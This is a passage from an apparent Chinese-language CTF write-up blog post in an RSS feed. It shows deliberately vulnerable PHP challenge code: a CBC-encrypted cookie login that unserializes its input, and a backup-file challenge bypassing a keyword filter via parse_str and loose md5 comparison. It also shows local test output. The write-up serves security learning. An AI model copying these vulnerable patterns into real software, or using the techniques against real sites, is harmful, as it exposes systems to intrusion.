    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION[&apos;username&apos;] = $info[&apos;username&apos;];
    setcookie(&quot;iv&quot;, base64_encode($iv));
    setcookie(&quot;cipher&quot;, base64_encode($cipher));
}
function check_login(){
    if(isset($_COOKIE[&apos;cipher&apos;]) &amp;amp;&amp;amp; isset($_COOKIE[&apos;iv&apos;])){
        $cipher = base64_decode($_COOKIE[&apos;cipher&apos;]);
        $iv = base64_decode($_COOKIE[&quot;iv&quot;]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die(&quot;&amp;lt;p&amp;gt;base64_decode(&apos;&quot;.base64_encode($plain).&quot;&apos;) can&apos;t unserialize&amp;lt;/p&amp;gt;&quot;);
            $_SESSION[&apos;username&apos;] = $info[&apos;username&apos;];
        }else{
            die(&quot;ERROR!&quot;);
        }
    }
}
function show_homepage(){
    if ($_SESSION[&quot;username&quot;]===&apos;admin&apos;){
        echo &apos;&amp;lt;p&amp;gt;Hello admin&amp;lt;/p&amp;gt;&apos;;
        echo &apos;&amp;lt;p&amp;gt;Flag is $flag&amp;lt;/p&amp;gt;&apos;;
    }else{
        echo &apos;&amp;lt;p&amp;gt;hello &apos;.$_SESSION[&apos;username&apos;].&apos;&amp;lt;/p&amp;gt;&apos;;
        echo &apos;&amp;lt;p&amp;gt;Only admin can see flag&amp;lt;/p&amp;gt;&apos;;
    }
    echo &apos;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;loginout.php&quot;&amp;gt;Log out&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&apos;;
}
if(isset($_POST[&apos;username&apos;]) &amp;amp;&amp;amp; isset($_POST[&apos;password&apos;])){
    $username = (string)$_POST[&apos;username&apos;];
    $password = (string)$_POST[&apos;password&apos;];
    if($username === &apos;admin&apos;){
        exit(&apos;&amp;lt;p&amp;gt;admin are not allowed to login&amp;lt;/p&amp;gt;&apos;);
    }else{
        info = array(&apos;username&apos;=&amp;gt;username,&apos;password&apos;=&amp;gt;password);
        login(info);
        show_homepage();
    }
}else{
    if(isset($_SESSION[&quot;username&quot;])){
        check_login();
        show_homepage();
    }else{
        echo &apos;&amp;lt;body class=&quot;login-body&quot;&amp;gt;

                &amp;lt;div id=&quot;wrapper&quot;&amp;gt;
                    &amp;lt;div class=&quot;user-icon&quot;&amp;gt;&amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;pass-icon&quot;&amp;gt;&amp;lt;/div&amp;gt;
                    &amp;lt;form name=&quot;login-form&quot; class=&quot;login-form&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;
                        &amp;lt;div class=&quot;header&quot;&amp;gt;
                        &amp;lt;h1&amp;gt;Login Form&amp;lt;/h1&amp;gt;
                        &amp;lt;span&amp;gt;Fill out the form below to login to my super awesome imaginary control panel.&amp;lt;/span&amp;gt;
                        &amp;lt;/div&amp;gt;
                        &amp;lt;div class=&quot;content&quot;&amp;gt;
                        &amp;lt;input name=&quot;username&quot; type=&quot;text&quot; class=&quot;input username&quot; value=&quot;Username&quot; onfocus=&quot;this.value=\&apos;\&apos;&quot; /&amp;gt;
                        &amp;lt;input name=&quot;password&quot; type=&quot;password&quot; class=&quot;input password&quot; value=&quot;Password&quot; onfocus=&quot;this.value=\&apos;\&apos;&quot; /&amp;gt;
                        &amp;lt;/div&amp;gt;
                        &amp;lt;div class=&quot;footer&quot;&amp;gt;
                        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Login&quot; class=&quot;button&quot; /&amp;gt;
                        &amp;lt;/div&amp;gt;
                    &amp;lt;/form&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/body&amp;gt;&apos;;
    }
}
?&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;备份是个好习惯&lt;/h1&gt;
&lt;p&gt;根据以前做题的经验， 备份就是在提示你 存在bak文件&lt;br /&gt;
所以直接输入URL为 &lt;code&gt;http://123.206.87.240:8002/web16/index.php.bak&lt;/code&gt; 然后下载文件&lt;br /&gt;
代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
include_once &quot;flag.php&quot;;
ini_set(&quot;display_errors&quot;, 0);
$str = strstr($_SERVER[&apos;REQUEST_URI&apos;], &apos;?&apos;);
$str = substr($str,1);
$str = str_replace(&apos;key&apos;,&apos;&apos;,$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) &amp;amp;&amp;amp; $key1 !== $key2){
    echo $flag.&quot;取得flag&quot;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;做代码审计的题目， 还是主要靠自己尝试。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

error_reporting(0);

$str = strstr($_SERVER[&apos;REQUEST_URI&apos;], &apos;?&apos;);
echo &quot;$str&quot;.&quot;&amp;lt;/br&amp;gt;&quot;;

$str = substr($str, 1);
echo &quot;$str&quot;.&quot;&amp;lt;/br&amp;gt;&quot;;

$str = str_replace(&apos;key&apos;,&apos;&apos;, $str);

echo &quot;$str&quot;.&quot;&amp;lt;/br&amp;gt;&quot;;
parse_str($str);

echo &quot;$key1&quot;.&quot;&amp;lt;/br&amp;gt;&quot;;
echo md5($key1);

echo &quot;&amp;lt;/br&amp;gt;&quot;;
echo md5($key2);

if(md5($key1) == md5($key2) &amp;amp;&amp;amp; $key1 !== $key2)
	echo &apos;flag&apos;;

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面是我用来测试的代码&lt;/p&gt;
&lt;p&gt;构造URL为 &lt;code&gt;http://localhost/test/test.php?kkeyey1=1&amp;amp;kkeyey2=2&lt;/code&gt;&lt;br /&gt;
输出了这些：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?kkeyey1=1&amp;amp;kkeyey2=2
kkeyey1=1&amp;amp;kkeyey2=2
key1=1&amp;amp;key2=2
1
c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之前还很疑惑为什么没有get都能得到变量， 原来是&lt;code&gt;parse_str&lt;/code&gt;这个函数在起作用。&lt;/p&gt;
&lt;p&gt;OK， 现在就是表演的时间了。&lt;/p&gt;
&lt;h1&gt;参考资料&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/wy_97/article/details/77431111&quot;&gt;https://blog.csdn.net/wy_97/article/details/77431111&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.cnblogs.com/Pinging/p/8278168.html&quot;&gt;https://www.cnblogs.com/Pinging/p/8278168.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/qq_19861715/article/details/79384018&quot;&gt;https://blog.csdn.net/qq_19861715/article/details/79384018&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/qq_39629343/article/details/80696263&quot;&gt;https://blog.csdn.net/qq_39629343/article/details/80696263&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/b0a5d72c8bae&quot;&gt;秋名山老司机&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/qq_26090065/article/details/81588595&quot;&gt;cookie欺骗&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/csu_vc/article/details/79619309&quot;&gt;CBC字节翻转攻击&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/EvileOn/p/5517235.html&quot;&gt;python requests库学习&lt;/a&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>